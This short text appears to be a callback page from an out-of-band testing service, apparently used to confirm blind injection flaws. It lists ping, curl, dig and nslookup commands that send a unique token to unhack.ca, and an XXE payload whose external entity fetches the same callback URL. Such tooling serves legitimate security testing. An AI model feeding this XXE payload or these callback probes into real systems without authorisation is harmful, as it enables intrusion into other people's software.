$ ping -c1 -p 003fe9c3fd333f2dcc8d4398fa94ff00 unhack.ca
 
$ curl http://unhack.ca/p/3fe9c3fd333f2dcc8d4398fa94ff
 
$ dig 3fe9c3fd333f2dcc8d4398fa94ff @unhack.ca
 
$ dig 3fe9c3fd333f2dcc8d4398fa94ff.ns.unhack.ca
 
C:\> nslookup 3fe9c3fd333f2dcc8d4398fa94ff unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/3fe9c3fd333f2dcc8d4398fa94ff">]>
    <foo>&xxe;</foo>
Waiting for ping...